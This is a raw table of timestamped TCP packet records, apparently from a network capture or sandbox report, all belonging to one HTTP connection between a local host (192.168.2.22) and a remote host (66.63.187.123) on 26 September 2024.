Sep 26, 2024 07:47:20.723414898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.723424911 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.723427057 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.723459959 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.723473072 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.853334904 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.853353024 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.853377104 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.853578091 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001035929 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001056910 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001069069 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001218081 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001415968 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001426935 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001449108 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001491070 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001491070 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001509905 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001522064 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001549006 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001558065 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001564980 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001578093 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001591921 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001597881 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001607895 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001619101 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001620054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001631021 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001636982 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001657009 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001662970 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001672029 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001691103 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001699924 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001713991 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001739025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001780987 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001791954 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001811981 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001821041 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001849890 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001851082 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001876116 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001887083 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001890898 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001913071 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001916885 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001924038 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001929045 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001950026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001956940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001961946 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.001965046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001986980 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.001986980 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002003908 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002007008 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002043009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002069950 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002069950 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002856970 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002868891 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002890110 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002924919 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002924919 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002928972 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002947092 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002959013 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002964020 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002964973 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.002999067 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.002999067 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003012896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003035069 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003037930 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003046036 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003046036 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003070116 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003078938 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003106117 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003772974 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003794909 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003813028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003824949 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003834009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003834009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003853083 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003858089 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003865004 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003865957 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003887892 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003894091 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003900051 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003901958 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003918886 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003926992 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003935099 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003938913 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003961086 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003969908 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.003973961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.003978968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004003048 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004014015 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004040956 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004611969 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.004664898 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004703045 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.004714012 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.004735947 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.004744053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004749060 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.004765987 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004776001 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.004791021 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.006159067 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.006170988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.006191969 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.006227016 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.006339073 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007021904 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007033110 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007054090 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007064104 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007083893 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007086039 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007102966 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007108927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007108927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007116079 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007123947 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007136106 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007152081 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007158041 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007162094 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007168055 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007174969 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007189989 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007200956 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007208109 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007211924 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007222891 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007246971 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007802010 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007812977 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007834911 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007859945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007863998 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007874966 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007877111 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007904053 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007909060 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007916927 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007939100 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007941961 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007951021 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007961988 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007972956 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.007977962 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.007997990 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.008008957 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.008028030 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147578955 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147617102 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147643089 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147654057 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147675991 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147686958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147706032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147708893 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147706032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147722960 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147747993 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147747993 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147753954 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147757053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147767067 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147788048 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147797108 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147802114 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147818089 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147825956 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147838116 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147855043 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147855043 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147867918 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147881985 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147881985 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147905111 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147918940 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147924900 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147944927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147954941 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147969007 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.147969007 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.147984028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148013115 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148017883 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148025036 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148046017 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148052931 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148056984 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148060083 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148083925 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148083925 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148098946 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148106098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148106098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148121119 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148132086 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148138046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148154974 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148169994 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148178101 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148190022 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148204088 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148211002 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148215055 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148221970 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148225069 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148247004 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148255110 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148267031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148272038 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148286104 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148300886 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148302078 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148309946 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148329973 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148334980 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148335934 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148355961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148372889 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148380041 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148394108 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148399115 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148415089 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148422956 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148427010 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148428917 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148433924 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148447037 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148454905 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148466110 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148473978 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148482084 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148492098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148494959 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148523092 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148529053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148535967 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148541927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148550987 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148556948 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148576021 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148581028 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148581028 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148597002 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.148613930 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148632050 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.148664951 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153498888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153513908 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153575897 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153774023 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153786898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153810024 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153834105 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153845072 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153860092 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153862953 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153883934 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153898001 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153913975 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153923988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153928995 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153947115 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153956890 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.153964043 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.153987885 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154012918 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154019117 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154026031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154042959 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154056072 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154057026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154079914 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154086113 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154092073 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154109001 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154119015 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154149055 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154150963 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154172897 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154179096 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154186010 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154205084 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154222012 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154236078 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154256105 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154267073 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154268026 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154288054 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154294968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154294968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154294968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154305935 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154304028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154314041 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154328108 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154340982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154356003 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154360056 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154371977 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154375076 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154406071 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154409885 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154453039 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154465914 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154478073 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154501915 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154511929 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.154521942 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154541016 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154556036 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154623032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.154669046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.235905886 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.236027002 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292579889 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292629004 CEST	80	49161	66.63.187.123	192.168.2.22
